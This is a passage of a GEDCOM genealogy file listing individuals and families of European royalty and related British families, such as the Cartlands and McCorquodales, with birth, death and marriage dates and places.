@F1147@\n0 @I2975@ INDI\n1 NAME Julie  //\n1 SEX F\n1 FAMC @F1147@\n0 @I2976@ INDI\n1 NAME Emich Karl of_Leiningen//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE ABT    1762\n1 DEAT\n2 DATE        1814\n1 FAMS @F1409@\n0 @I2977@ INDI\n1 NAME Lucy  /Lindsay-Hogg/\n1 SEX F\n1 FAMS @F1410@\n0 @I2978@ INDI\n1 NAME Frances  /Armstrong-Jones/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE 17 JUL 1979\n1 FAMC @F1410@\n0 @I2979@ INDI\n1 NAME Julia  /Rawlinson/\n1 SEX F\n1 FAMS @F1411@\n0 @I2980@ INDI\n1 NAME Athol  /Schmith/\n1 SEX M\n1 FAMS @F1412@\n0 @I2981@ INDI\n1 NAME   /Schmith/\n1 SEX M\n1 BIRT\n2 DATE ABT    1943\n1 FAMC @F1412@\n0 @I2982@ INDI\n1 NAME Erwin  /Stein/\n1 SEX M\n1 FAMS @F1413@\n0 @I2983@ INDI\n1 NAME Sophie  //\n1 SEX F\n1 FAMS @F1413@\n0 @I2984@ INDI\n1 NAME Alexander (Sachie) /McCorquodale/\n1 SEX M\n1 BIRT\n2 DATE ABT    1898\n1 FAMS @F299@\n0 @I2985@ INDI\n1 NAME Gerald  /Legge/\n1 TITL Earl Dartmouth\n1 SEX M\n1 FAMS @F1414@\n1 FAMC @F1417@\n0 @I2986@ INDI\n1 NAME Hugh  /McCorquodale/\n1 SEX M\n1 FAMS @F1415@\n1 FAMC @F1416@\n0 @I2987@ INDI\n1 NAME Harold  /McCorquodale/\n1 SEX M\n1 FAMS @F1416@\n0 @I2988@ INDI\n1 NAME Gracie  //\n1 SEX F\n1 FAMS @F1416@\n0 @I2989@ INDI\n1 NAME Ian  /McCorquodale/\n1 SEX M\n1 BIRT\n2 DATE 11 OCT 1937\n1 FAMC @F1415@\n0 @I2990@ INDI\n1 NAME   /Legge/\n1 FAMC @F1414@\n0 @I2991@ INDI\n1 NAME   /Legge/\n1 FAMC @F1414@\n0 @I2992@ INDI\n1 NAME   /Legge/\n1 FAMC @F1414@\n0 @I2993@ INDI\n1 NAME   /Legge/\n1 FAMC @F1414@\n0 @I2994@ INDI\n1 NAME Humphrey  /Legge/\n1 TITL Hon.\n1 SEX M\n1 FAMS @F1417@\n0 @I2995@ INDI\n1 NAME Bertram (Bertie) /Cartland/\n1 TITL Major\n1 SEX M\n1 DEAT\n2 DATE 27 MAY 1917\n1 FAMS @F1418@\n1 FAMC @F1422@\n0 @I2996@ INDI\n1 NAME Mary Hamilton (Polly)/Scobell/\n1 SEX F\n1 BIRT\n2 DATE  5 SEP 1877\n1 FAMS @F1418@\n1 FAMC @F1419@\n0 @I2997@ INDI\n1 NAME Ronald  /Cartland/\n1 SEX M\n1 BIRT\n2 DATE  3 JAN 1907\n1 DEAT\n2 DATE 30 MAY 1940\n2 PLAC Nr Cassel,France\n1 FAMC @F1418@\n0 @I2998@ INDI\n1 NAME Anthony (Tony) /Cartland/\n1 SEX M\n1 BIRT\n2 DATE  4 JAN 1912\n1 DEAT\n2 DATE 29 MAY 1940\n1 BURI\n2 PLAC Zuidschote\n1 FAMC @F1418@\n0 @I2999@ INDI\n1 NAME Edith  /Palairet/\n1 SEX F\n1 FAMS @F1419@\n1 FAMC @F1420@\n0 @I3000@ INDI\n1 NAME Mary Anne /Hamilton/\n1 SEX F\n1 FAMS @F1420@\n1 FAMC @F1421@\n0 @I3001@ INDI\n1 NAME Andrew  /Hamilton/\n1 SEX M\n1 FAMS @F1421@\n0 @I3002@ INDI\n1 NAME George  /Scobell/\n1 SEX M\n1 FAMS @F1419@\n0 @I3003@ INDI\n1 NAME Melloney  /Scobell/\n1 SEX F\n1 FAMC @F1419@\n0 @I3004@ INDI\n1 NAME   /Scobell/\n1 SEX M\n1 BIRT\n2 PLAC Florence,Italy\n1 DEAT\n2 DATE BEF    1877\n1 FAMC @F1419@\n0 @I3005@ INDI\n1 NAME Emily  /Scobell/\n1 SEX F\n1 FAMC @F1419@\n0 @I3006@ INDI\n1 NAME John Sanford /Scobell/\n1 TITL Sir\n1 SEX M\n1 BIRT\n2 DATE        1879\n1 FAMC @F1419@\n0 @I3007@ INDI\n1 NAME James  /Cartland/\n1 SEX M\n1 FAMS @F1422@\n0 @I3008@ INDI\n1 NAME Flora  //\n1 SEX F\n1 FAMS @F1422@\n0 @I3009@ INDI\n1 NAME   /Cartland/\n1 SEX F\n1 DEAT\n2 DATE ABT    1911\n1 FAMC @F1418@\n0 @I3010@ INDI\n1 NAME Glen  /McCorquodale/\n1 SEX M\n1 BIRT\n2 DATE 31 DEC 1939\n1 FAMC @F1415@\n0 @F1@ FAM\n1 HUSB @I2@\n1 WIFE @I1@\n1 CHIL @I3@\n1 CHIL @I4@\n1 CHIL @I5@\n1 CHIL @I6@\n1 CHIL @I7@\n1 CHIL @I8@\n1 CHIL @I9@\n1 CHIL @I10@\n1 CHIL @I11@\n1 DIV N\n1 MARR\n2 DATE 10 FEB 1840\n2 PLAC Chapel Royal,St. James Palace,England\n0 @F2@ FAM\n1 HUSB @I4@\n1 WIFE @I12@\n1 CHIL @I13@\n1 CHIL @I14@\n1 CHIL @I15@\n1 CHIL @I16@\n1 CHIL @I17@\n1 CHIL @I18@\n1 MARR\n2 DATE 10 MAR 1863\n2 PLAC St. George Chap.,Windsor,,England\n0 @F3@ FAM\n1 HUSB @I20@\n1 WIFE @I3@\n1 CHIL @I21@\n1 CHIL @I77@\n1 CHIL @I72@\n1 CHIL @I73@\n1 CHIL @I74@\n1 CHIL @I75@\n1 CHIL @I76@\n1 CHIL @I78@\n1 MARR\n2 DATE 25 JAN 1858\n2 PLAC London,England\n0 @F4@ FAM\n1 HUSB @I37@\n1 WIFE @I39@\n1 CHIL @I46@\n1 CHIL @I47@\n1 CHIL @I48@\n1 CHIL @I49@\n1 CHIL @I50@\n1 DIV N\n1 MARR\n2 DATE 26 NOV 1894\n2 PLAC Winter Palace,,St. Petersburg,Russia\n0 @F5@ FAM\n1 HUSB @I10@\n1 WIFE @I23@\n1 CHIL @I24@\n1 CHIL @I129@\n1 MARR\n2 DATE 27 APR 1882\n2 PLAC St. George Chap.,Windsor,,England\n0 @F6@ FAM\n1 HUSB @I25@\n1 WIFE @I11@\n1 CHIL @I26@\n1 CHIL @I27@\n1 CHIL @I28@\n1 CHIL @I29@\n1 MARR\n2 DATE 23 JUL 1885\n2 PLAC Whippingham,Isle of Wight\n0 @F7@ FAM\n1 HUSB @I14@\n1 WIFE @I30@\n1 CHIL @I31@\n1 CHIL @I32@\n1 CHIL @I33@\n1 CHIL @I34@\n1 CHIL @I35@\n1 CHIL @I36@\n1 MARR\n2 DATE  6 JUL 1893\n2 PLAC Chapel Royal,St. James Palace\n0 @F8@ FAM\n1 HUSB @I22@\n1 WIFE @I5@\n1 CHIL @I38@\n1 CHIL @I84@\n1 CHIL @I79@\n1 CHIL @I83@\n1 CHIL @I86@\n1 CHIL @I39@\n1 CHIL @I85@\n1 MARR\n2 DATE  1 JUL 1862\n2 PLAC Osborne House,Isle of Wight\n0 @F9@ FAM\n1 HUSB @I40@\n1 WIFE @I41@\n1 CHIL @I37@\n1 CHIL @I1568@\n1 CHIL @I153@\n1 CHIL @I154@\n1 CHIL @I155@\n1 CHIL @I156@\n1 MARR\n2 DATE        1866\n0 @F10@ FAM\n1 HUSB @I42@\n1 WIFE @I43@\n1 CHIL @I44@\n1 CHIL @I353@\n1 CHIL @I2665@\n1 CHIL @I2666@\n1 MARR\n2 DATE        1817\n0 @F11@ FAM\n1 HUSB @I44@\n1 WIFE @I45@\n1 CHIL @I491@\n1 CHIL @I492@\n1 CHIL @I40@\n1 CHIL @I149@\n1 CHIL @I150@\n1 CHIL @I94@\n1 CHIL @I151@\n1 CHIL @I152@\n1 MARR\n2 DATE        1840\n0 @F12@ FAM\n1 HUSB @I32@\n1 WIFE @I51@\n1 CHIL @I52@\n1 CHIL @I53@\n1 DIV N\n1 MARR\n2 DATE 26 APR 1923\n0 @F13@ FAM\n1 HUSB @I54@\n1 WIFE @I53@\n1 CHIL @I55@\n1 CHIL @I56@\n1 DIV Y\n1 MARR\n2 DATE  6 MAY 1960\n2 PLAC Westminster,Cathedral,London,England\n0 @F14@ FAM\n1 HUSB @I57@\n1 WIFE @I52@\n1 CHIL @I58@\n1 CHIL @I59@\n1 CHIL @I60@\n1 CHIL @I61@\n1 DIV N\n1 MARR\n2 DATE 20 NOV 1947\n2 PLAC Westminster,Abbey,London,England\n0 @F15@ FAM\n1 HUSB @I62@\n1 WIFE @I59@\n1 CHIL @I63@\n1 CHIL @I64@\n1 DIV N\n1 MARR\n2 DATE 14 NOV 1973\n2 PLAC Westminster,Abbey,London,England\n0 @F16@ FAM\n1 HUSB @I58@\n1 WIFE @I65@\n1 CHIL @I115@\n1 CHIL @I116@\n1 DIV N\n1 MARR\n2 DATE 29 JUL 1981\n2 PLAC St. Paul's,Cathedral,London,England\n0 @F17@ FAM\n1 HUSB @I35@\n1 WIFE @I66@\n1 CHIL @I67@\n1 CHIL @I106@\n1 CHIL @I107@\n1 MARR\n2 DATE 29 NOV 1934\n2 PLAC Westminster,Abbey,London,England\n0 @F18@ FAM\n1 HUSB @I68@\n1 WIFE @I33@\n1 CHIL @I244@\n1 CHIL @I291@\n1 MARR\n2 DATE 28 FEB 1922\n2 PLAC Westminster,Abbey,London,England\n0 @F19@ FAM\n1 HUSB @I34@\n1 WIFE @I69@\n1 CHIL @I87@\n1 CHIL @I88@\n1 MARR\n2 DATE  6 NOV 1935\n2 PLAC Buckingham,Palace,London,England\n0 @F20@ FAM\n1 HUSB @I31@\n1 WIFE @I70@\n1 DIV N\n1 MARR\n2 DATE  3 JUN 1937\n2 PLAC Chateau de Cande,Monts,,France\n0 @F21@ FAM\n1 HUSB @I71@\n1 WIFE @I17@\n1 CHIL @I450@\n1 MARR\n2 DATE 22 JUL 1896\n2 PLAC Buckingham,Palace,London,England\n0 @F22@ FAM\n1 HUSB @I72@\n1 WIFE @I79@\n1 CHIL @I80@\n1 CHIL @I81@\n1 CHIL @I82@\n1 MARR\n2 DATE        1888\n0 @F23@ FAM\n1 HUSB @I88@\n1 WIFE @I89@\n1 CHIL @I90@\n1 CHIL @I317@\n1 CHIL @I318@\n1 MARR\n2 DATE    JUL 1972\n0 @F24@ FAM\n1 HUSB @I91@\n1 WIFE @I70@\n1 DIV Y\n1 MARR\n2 DATE        1916\n0 @F25@ FAM\n1 HUSB @I92@\n1 WIFE @I70@\n1 DIV Y\n1 MARR\n2 DATE        1928\n0 @F26@ FAM\n1 HUSB @I6@\n1 WIFE @I94@\n1 CHIL @I95@\n1 CHIL @I96@\n1 CHIL @I97@\n1 CHIL @I98@\n1 CHIL @I99@\n1 MARR\n2 DATE 23 JAN 1874\n2 PLAC Winter Palace,St. Petersburg,Russia\n0 @F27@ FAM\n1 HUSB @I100@\n1 WIFE @I38@\n1 CHIL @I101@\n1 CHIL @I238@\n1 CHIL @I102@\n1 CHIL @I103@\n1 MARR\n2 DATE        1884\n0 @F28@ FAM\n1 HUSB @I104@\n1 WIFE @I101@\n1 CHIL @I147@\n1 CHIL @I148@\n1 CHIL @I463@\n1 CHIL @I476@\n1 CHIL @I57@\n1 MARR\n2 DATE        1903\n0 @F29@ FAM\n1 HUSB @I105@\n1 WIFE @I15@\n1 CHIL @I125@\n1 CHIL @I952@\n1 MARR\n2 DATE 27 JUL 1889\n2 PLAC Buckingham,Palace,London,England\n0 @F30@ FAM\n1 HUSB @I108@\n1 WIFE @I106@\n1 CHIL @I109@\n1 CHIL @I110@\n1 MARR\n2 DATE    APR 1963\n2 PLAC ,,England\n0 @F31@ FAM\n1 HUSB @I67@\n1 WIFE @I111@\n1 CHIL @I112@\n1 CHIL @I113@\n1 CHIL @I114@\n1 MARR\n2 DATE        1961\n0 @F32@ FAM\n1 HUSB @I117@\n1 WIFE @I7@\n1 CHIL @I310@\n1 CHIL @I311@\n1 CHIL @I312@\n1 CHIL @I118@\n1 CHIL @I313@\n1 MARR\n2 DATE  5 JUL 1866\n2 PLAC Windsor Castle,,,England\n0 @F33@ FAM\n1 HUSB @I119@\n1 WIFE @I118@\n1 DIV Y\n0 @F34@ FAM\n1 HUSB @I9@\n1 WIFE @I120@\n1 CHIL @I121@\n1 CHIL @I122@\n1 CHIL @I123@\n1 MARR\n2 DATE 13 MAR 1879\n2 PLAC St. George Chap.,Windsor,,England\n0 @F35@ FAM\n1 HUSB @I124@\n1 WIFE @I121@\n1 CHIL @I445@\n1 CHIL @I1059@\n1 CHIL @I447@\n1 CHIL @I448@\n1 CHIL @I449@\n1 MARR\n2 DATE 15 JUN 1905\n2 PLAC Windsor,England\n0 @F36@ FAM\n1 HUSB @I122@\n1 WIFE @I125@\n1 CHIL @I2155@\n0 @F37@ FAM\n1 HUSB @I126@\n1 WIFE @I123@\n1 CHIL @I1706@\n0 @F38@ FAM\n1 HUSB @I280@\n1 WIFE @I24@\n1 CHIL @I287@\n1 CHIL @I288@\n1 CHIL @I289@\n0 @F39@ FAM\n1 HUSB @I130@\n1 WIFE @I131@\n1 CHIL @I141@\n1 CHIL @I202@\n1 CHIL @I203@\n1 CHIL @I204@\n1 CHIL @I133@\n1 CHIL @I209@\n1 CHIL @I210@\n1 CHIL @I212@\n1 CHIL @I213@\n1 CHIL @I132@\n1 CHIL @I214@\n1 CHIL @I215@\n1 CHIL @I216@\n1 CHIL @I217@\n1 CHIL @I218@\n0 @F40@ FAM\n1 HUSB @I132@\n1 WIFE @I134@\n1 CHIL @I262@\n1 CHIL @I135@\n1 CHIL @I136@\n0 @F41@ FAM\n1 HUSB @I137@\n1 WIFE @I136@\n1 CHIL @I30@\n1 CHIL @I278@\n1 CHIL @I279@\n1 CHIL @I280@\n0 @F42@ FAM\n1 HUSB @I133@\n1 WIFE @I138@\n1 CHIL @I1@\n1 MARR\n2 DATE 11 JUL 1818\n2 PLAC Kew Palace\n0 @F43@ FAM\n1 HUSB @I139@\n1 WIFE @I140@\n1 CHIL @I1737@\n1 CHIL @I2@\n1 DIV Y\n1 MARR\n2 DATE 31 JUL 1817\n2 PLAC Gotha\n0 @F44@ FAM\n1 HUSB @I141@\n1 WIFE @I142@\n1 MARR\n2 DATE        1785\n0 @F45@ FAM\n1 HUSB @I141@\n1 WIFE @I143@\n1 CHIL @I144@\n1 MARR\n2 DATE  8 APR 1795\n2 PLAC Chapel Royal,St James Palace,,England\n0 @F46@ FAM\n1 HUSB @I145@\n1 WIFE @I146@\n1 CHIL @I173@\n1 CHIL @I174@\n1 CHIL @I175@\n1 CHIL @I176@\n1 CHIL @I177@\n1 CHIL @I178@\n1 CHIL @I179@\n1 CHIL @I180@\n1 CHIL @I51@\n1 CHIL @I181@\n0 @F47@ FAM\n1 HUSB @I149@\n1 WIFE @I157@\n1 CHIL @I158@\n1 CHIL @I159@\n1 CHIL @I160@\n1 CHIL @I1362@\n1 MARR\n2 DATE        1874\n0 @F48@ FAM\n1 HUSB @I160@\n1 WIFE @I161@\n1 MARR\n2 DATE        1921\n0 @F49@ FAM\n1 HUSB @I83@\n1 WIFE @I97@\n1 DIV Y\n1 MARR\n2 DATE        1894\n0 @F50@ FAM\n1 HUSB @I152@\n1 WIFE @I163@\n1 CHIL @I1355@\n1 CHIL @I164@\n1 MARR\n2 DATE        1889\n0 @F51@ FAM\n1 HUSB @I2675@\n1 WIFE @I154@\n1 CHIL @I166@\n1 CHIL @I1562@\n1 CHIL @I1563@\n1 CHIL @I1564@\n1 CHIL @I1565@\n1 CHIL @I1566@\n1 CHIL @I1567@\n1 MARR\n2 DATE        1894\n0 @F52@ FAM\n1 HUSB @I167@\n1 WIFE @I166@\n0 @F53@ FAM\n1 HUSB @I60@\n1 WIFE @I168@\n1 CHIL @I827@\n1 CHIL @I2958@\n1 MARR\n2 DATE 23 JUL 1986\n2 PLAC Westminster,Abbey,London,England\n0 @F54@ FAM\n1 HUSB @I169@\n1 WIFE @I170@\n1 CHIL @I822@\n1 CHIL @I168@\n1 DIV Y\n1 MARR\n2 DATE    JAN 1956\n2 PLAC St. Margarets,Westminster,England\n0 @F55@ FAM\n1 HUSB @I171@\n1 WIFE @I172@\n1 CHIL @I70@\n0 @F56@ FAM\n1 HUSB @I182@\n1 WIFE @I183@\n1 CHIL @I145@\n0 @F57@ FAM\n1 HUSB @I184@\n1 WIFE @I185@\n1 CHIL @I186@\n1 CHIL @I182@\n0 @F58@ FAM\n1 HUSB @I187@\n1 WIFE @I188@\n1 CHIL @I189@\n1 CHIL @I184@\n0 @F59@ FAM\n1 HUSB @I190@\n1 WIFE @I188@\n0 @F60@ FAM\n1 HUSB @I191@\n1 WIFE @I174@\n0 @F61@ FAM\n1 HUSB @I175@\n1 WIFE @I192@\n0 @F62@ FAM\n1 HUSB @I176@\n1 WIFE @I193@\n1 CHIL @I1962@\n1 CHIL @I1963@\n0 @F63@ FAM\n1 HUSB @I178@\n1 WIFE @I194@\n0 @F64@ FAM\n1 HUSB @I195@\n1 WIFE @I179@\n0 @F65@ FAM\n1 HUSB @I180@\n1 WIFE @I196@\n0 @F66@ FAM\n1 HUSB @I181@\n1 WIFE @I197@\n0 @F67@ FAM\n1 HUSB @I19@\n1 WIFE @I1216@\n1 CHIL @I23@\n1 CHIL @I656@\n0 @F68@ FAM\n1 HUSB @I199@\n1 WIFE @I200@\n1 CHIL @I120@\n0 @F69@ FAM\n1 HUSB @I201@\n1 WIFE @I8@\n1 MARR\n2 DATE 21 MAR 1871\n2 PLAC St. George Chap.,Windsor,,England\n0 @F70@ FAM\n1 HUSB @I2448@\n0 @F71@ FAM\n1 HUSB @I207@\n1 WIFE @I208@\n1 CHIL @I146@\n0 @F72@ FAM\n1 HUSB @I211@\n1 WIFE @I210@\n1 MARR\n2 DATE  7 APR 1818\n2 PLAC Buckingham House\n0 @F73@ FAM\n1 HUSB @I203@\n1 WIFE @I219@\n1 CHIL @I220@\n1 CHIL @I221@\n1 CHIL @I222@\n1 CHIL @I223@\n1 MARR\n2 DATE 11 JUL 1818\n2 PLAC Kew Palace\n0 @F74@ FAM\n1 HUSB @I225@\n1 WIFE @I226@\n1 CHIL @I604@\n1 CHIL @I12@\n1 CHIL @I227@\n1 CHIL @I41@\n1 CHIL @I254@\n1 CHIL @I1663@\n1 MARR\n2 DATE        1842\n0 @F75@ FAM\n1 HUSB @I227@\n1 WIFE @I228@\n1 CHIL @I405@\n1 CHIL @I466@\n1 CHIL @I163@\n1 CHIL @I229@\n1 CHIL @I2673@\n1 CHIL @I104@\n1 CHIL @I465@\n1 CHIL @I467@\n1 MARR\n2 DATE        1867\n0 @F76@ FAM\n1 HUSB @I229@\n1 WIFE @I1362@\n1 CHIL @I66@\n1 CHIL @I236@\n1 CHIL @I237@\n1 CHIL @I2964@\n1 CHIL @I2967@\n1 MARR\n2 DATE        1902\n0 @F77@ FAM\n1 HUSB @I124@\n1 WIFE @I238@\n1 MARR\n2 DATE  3 NOV 1923\n2 PLAC Chapel Royal,St. James Palace,England\n0 @F78@ FAM\n1 HUSB @I239@\n1 WIFE @I93@\n1 CHIL @I240@\n1 CHIL @I241@\n1 CHIL @I1712@\n1 CHIL @I65@\n1 CHIL @I242@\n1 DIV Y\n1 MARR\n2 DATE        1954\n2 PLAC Westminster,Abbey,London,England\n0 @F79@ FAM\n1 HUSB @I239@\n1 WIFE @I243@\n1 DIV N\n1 MARR\n2 DATE 14 JUL 1976\n2 PLAC Caxton Hall\n0 @F80@ FAM\n1 HUSB @I1696@\n1 WIFE @I144@\n1 MARR\n2 DATE  2 MAY 1816\n2 PLAC Carlton House,London,England\n0 @F81@ FAM\n1 HUSB @I246@\n1 WIFE @I517@\n1 CHIL @I556@\n0 @F82@ FAM\n1 HUSB @I247@\n1 WIFE @I204@\n1 MARR\n2 DATE 18 MAY 1797\n2 PLAC Chapel Royal,St James Palace,,England\n0 @F83@ FAM\n1 HUSB @I212@\n1 WIFE @I248@\n1 CHIL @I249@\n1 MARR\n2 DATE 29 AUG 1815\n2 PLAC Carlton House,London,England\n0 @F84@ FAM\n1 HUSB @I249@\n1 WIFE @I250@\n1 CHIL @I251@\n1 CHIL @I252@\n1 CHIL @I253@\n1 MARR\n2 DATE 18 FEB 1843\n2 PLAC Hanover,Germany\n0 @F85@ FAM\n1 HUSB @I251@\n1 WIFE @I254@\n1 CHIL @I255@\n1 CHIL @I256@\n1 CHIL @I257@\n1 CHIL @I258@\n1 CHIL @I259@\n1 CHIL @I552@\n0 @F86@ FAM\n1 HUSB @I261@\n1 WIFE @I252@\n0 @F87@ FAM\n1 HUSB @I262@\n1 WIFE @I263@\n1 CHIL @I264@\n1 CHIL @I265@\n1 CHIL @I266@\n0 @F88@ FAM\n1 HUSB @I264@\n1 WIFE @I267@\n1 CHIL @I268@\n1 CHIL @I269@\n1 CHIL @I270@\n0 @F89@ FAM\n1 HUSB @I271@\n1 WIFE @I135@\n1 CHIL @I272@\n0 @F90@ FAM\n1 HUSB @I272@\n1 WIFE @I273@\n1 CHIL @I274@\n1 CHIL @I275@\n1 CHIL @I276@\n1 CHIL @I277@\n0 @F91@ FAM\n1 HUSB @I278@\n1 WIFE @I281@\n1 CHIL @I282@\n1 CHIL @I283@\n1 CHIL @I284@\n1 CHIL @I285@\n0 @F92@ FAM\n1 HUSB @I286@\n1 WIFE @I127@\n1 CHIL @I1229@\n1 CHIL @I1256@\n1 CHIL @I1257@\n1 CHIL @I1258@\n1 MARR\n2 DATE 25 JAN 1308\n2 PLAC Bolongne\n0 @F93@ FAM\n1 HUSB @I290@\n1 WIFE @I214@\n0 @F94@ FAM\n1 HUSB @I244@\n1 WIFE @I292@\n1 CHIL @I293@\n1 CHIL @I294@\n1 CHIL @I295@\n1 DIV Y\n1 MARR\n2 DATE        1949\n0 @F95@ FAM\n1 HUSB @I291@\n1 WIFE @I296@\n1 CHIL @I297@\n1 DIV Y\n1 MARR\n2 DATE        1952\n0 @F96@ FAM\n1 HUSB @I298@\n1 WIFE @I299@\n1 CHIL @I226@\n1 CHIL @I300@\n1 MARR\n2 DATE        1810\n0 @F97@ FAM\n1 HUSB @I301@\n1 WIFE @I302@\n1 CHIL @I298@\n1 CHIL @I134@\n0 @F98@ FAM\n1 HUSB @I303@\n1 WIFE @I304@\n1 CHIL @I305@\n1 CHIL @I137@\n1 CHIL @I306@\n0 @F99@ FAM\n1 HUSB @I307@\n1 WIFE @I306@\n1 CHIL @I308@\n0 @F100@ FAM\n1 HUSB @I309@\n1 WIFE @I96@\n1 CHIL @I438@\n1 CHIL @I437@\n1 CHIL @I436@\n1 CHIL @I1096@\n1 CHIL @I1097@\n1 CHIL @I1098@\n1 MARR\n2 DATE 10 JAN 1893\n2 PLAC Sigmaringen,Germany\n0 @F101@ FAM\n1 HUSB @I244@\n1 WIFE @I314@\n1 CHIL @I315@\n1 MARR\n2 DATE        1967\n0 @F102@ FAM\n1 HUSB @I291@\n1 WIFE @I316@\n1 CHIL @I982@\n1 MARR\n2 DATE        1978\n0 @F103@ FAM\n1 HUSB @I107@\n1 WIFE @I319@\n1 CHIL @I320@\n1 CHIL @I801@\n1 MARR\n2 DATE 30 JUN 1978\n2 PLAC Vienna,Austria\n0 @F104@ FAM\n1 HUSB @I321@\n1 WIFE @I322@\n1 CHIL @I323@\n1 CHIL @I324@\n1 CHIL @I325@\n1 CHIL @I326@\n1 CHIL @I327@\n1 CHIL @I328@\n1 CHIL @I329@\n1 CHIL @I330@\n1 CHIL @I331@\n1 MARR\n2 DATE 22 AUG 1705\n2 PLAC Herrenhausen\n0 @F105@ FAM\n1 HUSB @I323@\n1 WIFE @I332@\n1 CHIL @I333@\n1 CHIL @I130@\n1 CHIL @I334@\n1 CHIL @I335@\n1 CHIL @I336@\n1 CHIL @I337@\n1 CHIL @I338@\n1 CHIL @I339@\n1 CHIL @I340@\n1 MARR\n2 DATE  8 MAY 1736\n2 PLAC Chapel Royal,St. James\n0 @F106@ FAM\n1 HUSB @I341@\n1 WIFE @I342@\n1 CHIL @I321@\n1 CHIL @I343@\n1 DIV Y\n1 MARR\n2 DATE 22 NOV 1682\n2 PLAC Celle\n0 @F107@ FAM\n1 HUSB @I344@\n1 WIFE @I331@\n1 CHIL @I1637@\n1 CHIL @I1638@\n1 CHIL @I1639@\n1 CHIL @I764@\n1 CHIL @I1640@\n1 MARR\n2 DATE 11 DEC 1743\n2 PLAC Christiansborg\n0 @F108@ FAM\n1 HUSB @I345@\n1 WIFE @I346@\n1 CHIL @I225@\n1 MARR\n2 DATE        1810\n0 @F109@ FAM\n1 HUSB @I347@\n1 WIFE @I348@\n1 CHIL @I224@\n1 CHIL @I100@\n1 CHIL @I486@\n1 CHIL @I25@\n1 CHIL @I487@\n1 MARR\n2 DATE        1851\n0 @F110@ FAM\n1 HUSB @I349@\n1 WIFE @I350@\n1 CHIL @I493@\n1 CHIL @I357@\n1 CHIL @I347@\n1 CHIL @I45@\n1 MARR\n2 DATE        1804\n0 @F111@ FAM\n1 HUSB @I351@\n1 WIFE @I352@\n1 CHIL @I348@\n0 @F112@ FAM\n1 HUSB @I353@\n1 WIFE @I354@\n1 CHIL @I165@\n1 CHIL @I228@\n1 CHIL @I2671@\n1 CHIL @I2677@\n1 MARR\n2 DATE        1848\n0 @F113@ FAM\n1 HUSB @I355@\n1 WIFE @I356@\n1 CHIL @I354@\n0 @F114@ FAM\n1 HUSB @I357@\n1 WIFE @I358@\n1 CHIL @I22@\n1 CHIL @I497@\n1 CHIL @I498@\n1 CHIL @I499@\n1 MARR\n2 DATE        1836\n0 @F115@ FAM\n1 HUSB @I360@\n1 WIFE @I361@\n1 CHIL @I207@\n0 @F116@ FAM\n1 HUSB @I362@\n1 WIFE @I363@\n1 CHIL @I208@\n0 @F117@ FAM\n1 HUSB @I364@\n1 WIFE @I365@\n1 CHIL @I183@\n0 @F118@ FAM\n1 HUSB @I366@\n1 WIFE @I367@\n1 CHIL @I239@\n0 @F119@ FAM\n1 HUSB @I368@\n1 WIFE @I369@\n1 CHIL @I93@\n0 @F120@ FAM\n1 HUSB @I370@\n1 WIFE @I371@\n1 CHIL @I368@\n0 @F121@ FAM\n1 HUSB @I372@\n1 WIFE @I373@\n1 CHIL @I371@\n0 @F122@ FAM\n1 HUSB @I374@\n1 WIFE @I375@\n1 CHIL @I373@\n0 @F123@ FAM\n1 HUSB @I376@\n1 WIFE @I377@\n1 CHIL @I372@\n0 @F124@ FAM\n1 HUSB @I378@\n1 WIFE @I379@\n1 CHIL @I370@\n0 @F125@ FAM\n1 HUSB @I380@\n1 WIFE @I381@\n1 CHIL @I379@\n0 @F126@ FAM\n1 HUSB @I382@\n1 WIFE @I383@\n1 CHIL @I378@\n0 @F127@ FAM\n1 HUSB @I384@\n1 WIFE @I385@\n1 CHIL @I367@\n1 CHIL @I1713@\n1 CHIL @I1714@\n0 @F128@ FAM\n1 HUSB @I386@\n1 WIFE @I387@\n1 CHIL @I384@\n0 @F129@ FAM\n1 HUSB @I388@\n1 WIFE @I389@\n1 CHIL @I385@\n0 @F130@ FAM\n1 HUSB @I390@\n1 WIFE @I391@\n1 CHIL @I369@\n0 @F131@ FAM\n1 HUSB @I392@\n1 WIFE @I393@\n1 CHIL @I390@\n0 @F132@ FAM\n1 HUSB @I394@\n1 WIFE @I395@\n1 CHIL @I391@\n0 @F133@ FAM\n1 HUSB @I396@\n1 WIFE @I397@\n1 CHIL @I1733@\n1 CHIL @I366@\n1 CHIL @I1734@\n0 @F134@ FAM\n1 HUSB @I398@\n1 WIFE @I399@\n1 CHIL @I396@\n0 @F135@ FAM\n1 HUSB @I400@\n1 WIFE @I401@\n1 CHIL @I397@\n0 @F136@ FAM\n1 HUSB @I21@\n1 WIFE @I402@\n1 CHIL @I420@\n1 CHIL @I421@\n1 CHIL @I422@\n1 CHIL @I423@\n1 CHIL @I424@\n1 CHIL @I425@\n1 CHIL @I426@\n0 @F137@ FAM\n1 HUSB @I403@\n1 WIFE @I77@\n0 @F138@ FAM\n1 HUSB @I404@\n1 WIFE @I74@\n0 @F139@ FAM\n1 HUSB @I405@\n1 WIFE @I76@\n1 CHIL @I439@\n1 CHIL @I234@\n1 CHIL @I233@\n1 CHIL @I232@\n1 CHIL @I231@\n1 CHIL @I230@\n1 MARR\n2 DATE 27 OCT 1889\n2 PLAC Athens,Greece\n0 @F140@ FAM\n1 HUSB @I406@\n1 WIFE @I78@\n0 @F141@ FAM\n1 HUSB @I129@\n1 WIFE @I407@\n0 @F142@ FAM\n1 HUSB @I26@\n1 WIFE @I408@\n1 CHIL @I509@\n0 @F143@ FAM\n1 HUSB @I409@\n1 WIFE @I27@\n1 CHIL @I430@\n1 CHIL @I591@\n1 CHIL @I433@\n1 CHIL @I2642@\n1 CHIL @I431@\n1 CHIL @I432@\n1 CHIL @I2643@\n1 MARR\n2 DATE        1906\n2 PLAC Church of,San Jeronimo,Madrid,Spain\n0 @F144@ FAM\n1 HUSB @I151@\n1 WIFE @I84@\n1 MARR\n2 DATE        1884\n0 @F145@ FAM\n1 HUSB @I162@\n1 WIFE @I410@\n1 CHIL @I511@\n1 CHIL @I411@\n1 CHIL @I412@\n1 CHIL @I43@\n1 CHIL @I413@\n1 CHIL @I414@\n1 CHIL @I2654@\n1 CHIL @I416@\n1 CHIL @I1029@\n1 CHIL @I418@\n0 @F146@ FAM\n1 HUSB @I21@\n1 WIFE @I419@\n1 MARR\n2 DATE  5 NOV 1922\n2 PLAC Haus Doorn,Netherlands\n0 @F147@ FAM\n1 HUSB @I412@\n1 WIFE @I427@\n1 CHIL @I428@\n1 CHIL @I20@\n0 @F148@ FAM\n1 HUSB @I429@\n1 WIFE 